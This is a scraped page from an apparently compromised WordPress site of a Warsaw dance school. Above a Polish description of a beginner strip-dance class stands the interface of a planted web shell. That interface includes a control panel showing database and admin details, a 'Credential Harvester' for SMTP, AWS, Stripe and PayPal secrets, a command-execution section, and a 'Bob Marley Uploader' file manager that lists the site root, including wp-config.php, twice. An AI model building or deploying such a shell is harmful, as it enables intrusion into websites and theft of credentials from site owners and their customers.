WORDPRESS CONTROL PANEL

VENI VIDI VICI
WordPress Root: /home/klient.dhosting.pl/pawelciolko/abra.dobry.design-mei4/public_html
WP Version: 7.0
Database: ohd7ee_abradobr
Table Prefix: wp_
Connection: CONNECTED
Crypto Keys: 1 loaded (wp_mail_smtp)

SITE STATISTICS

PUBLISHED POSTS
2
PUBLISHED PAGES
27
TOTAL USERS
127
ADMIN USERS
91
ACTIVE PLUGINS
11
COMMENTS
1

CREDENTIAL HARVESTER

Extract SMTP, AWS, Stripe, PayPal credentials (auto-decrypt)

COMMAND EXECUTION

VENI VIDI VICI
BOB MARLEY UPLOADER

♦ BOB MARLEY UPLOADER ♦

One Love | One Heart | One Upload

Current Dir: /home/klient.dhosting.pl/pawelciolko/abra.dobry.design-mei4/public_html | [Parent Dir ↑]
NameSizeModifiedPerms
⬆️ ..DIR2026-09-28 16:250775
📄 .htaccess2,004 B2026-09-28 16:250444
📁 cpanelDIR2026-09-28 16:270755
📄 filefuns.php5,722 B2026-09-28 16:250444
📁 imagesDIR2026-09-28 16:270755
📄 index.php22,129 B2026-09-28 16:250444
📄 license.txt19,903 B2026-05-21 20:070644
📄 readme.html7,406 B2026-05-21 20:070644
📄 robots.txt83 B2026-09-28 16:250644
📄 wp-activate.php7,371 B2026-05-21 20:070644
📁 wp-adminDIR2026-09-28 16:270755
📄 wp-blog-header.php534 B2026-09-28 16:250444
📄 wp-comments-post.php2,323 B2025-06-04 17:010644
📄 wp-config-sample.php3,339 B2026-01-14 20:380644
📄 wp-config.php4,329 B2026-09-28 16:250644
📁 wp-contentDIR2026-09-30 20:320755
📄 wp-cron.php5,617 B2025-06-04 17:010644
📁 wp-includesDIR2026-09-28 16:270755
📄 wp-links-opml.php2,493 B2026-01-14 20:380644
📄 wp-load.php4,120 B2026-09-28 16:250444
📄 wp-mail.php8,727 B2026-01-14 20:380644
📄 wp-settings.php32,650 B2026-09-28 16:250644
📄 wp-signup.php34,621 B2026-05-21 20:070644
📄 wp-trackback.php5,214 B2026-01-14 20:380644
📄 xmlrpc.php3,205 B2025-06-04 17:010644
Powered by BOB MARLEY | One Love
BOB MARLEY UPLOADER

♦ BOB MARLEY UPLOADER ♦

One Love | One Heart | One Upload

Current Dir: /home/klient.dhosting.pl/pawelciolko/abra.dobry.design-mei4/public_html | [Parent Dir ↑]
NameSizeModifiedPerms
⬆️ ..DIR2026-09-28 16:250775
📄 .htaccess2,004 B2026-09-28 16:250444
📁 cpanelDIR2026-09-28 16:270755
📄 filefuns.php5,722 B2026-09-28 16:250444
📁 imagesDIR2026-09-28 16:270755
📄 index.php22,129 B2026-09-28 16:250444
📄 license.txt19,903 B2026-05-21 20:070644
📄 readme.html7,406 B2026-05-21 20:070644
📄 robots.txt83 B2026-09-28 16:250644
📄 wp-activate.php7,371 B2026-05-21 20:070644
📁 wp-adminDIR2026-09-28 16:270755
📄 wp-blog-header.php534 B2026-09-28 16:250444
📄 wp-comments-post.php2,323 B2025-06-04 17:010644
📄 wp-config-sample.php3,339 B2026-01-14 20:380644
📄 wp-config.php4,329 B2026-09-28 16:250644
📁 wp-contentDIR2026-09-30 20:320755
📄 wp-cron.php5,617 B2025-06-04 17:010644
📁 wp-includesDIR2026-09-28 16:270755
📄 wp-links-opml.php2,493 B2026-01-14 20:380644
📄 wp-load.php4,120 B2026-09-28 16:250444
📄 wp-mail.php8,727 B2026-01-14 20:380644
📄 wp-settings.php32,650 B2026-09-28 16:250644
📄 wp-signup.php34,621 B2026-05-21 20:070644
📄 wp-trackback.php5,214 B2026-01-14 20:380644
📄 xmlrpc.php3,205 B2025-06-04 17:010644
Powered by BOB MARLEY | One Love
Strip Dance dla początkujących (P1) 21.06 – Abra Studio – szkoła tańca Warszawa

Strip Dance dla początkujących (P1) 21.06

STRIP DANCE – P1


Zajęcia dla osób, które dopiero zaczynają swoją przygodę ze Strip Dance i Floorworkiem lub chcą zbudować solidne podstawy w bezpiecznym, spokojnym tempie.

Na tym poziomie skupiamy się na:
* nauce podstawowej techniki Strip i Floorwork,
* budowaniu siły, mobilności i kontroli ciała,
* oswajaniu się z pracą przy podłodze,
* nauce musicality i poczucia rytmu,
* dokładnej analizie muzyki wykorzystywanej w choreografiach (akcenty, tempo, struktura utworu),
* stopniowym budowaniu pewności siebie i kobiecości w ruchu,
* wprowadzaniu prostych, bezpiecznych elementów akrobatycznych, dostosowanych do możliwości grupy.

Zajęcia odbywają się w wspierającej, bezpiecznej atmosferze, bez presji i oceniania. Każdy ruch jest dokładnie tłumaczony, a tempo pracy dopasowane do uczestniczek.

To idealny poziom, aby polubić ruch, nauczyć się „słuchać” muzyki, zaufać swojemu ciału i poczuć swobodę w tańcu, nawet bez wcześniejszego doświadczenia.❤︎
Dołącz do wydarzenia na Facebook

Galeria

Zobacz relacje z minionych imprez

Zapisujesz się na zajęcia:

Nazwa zajęć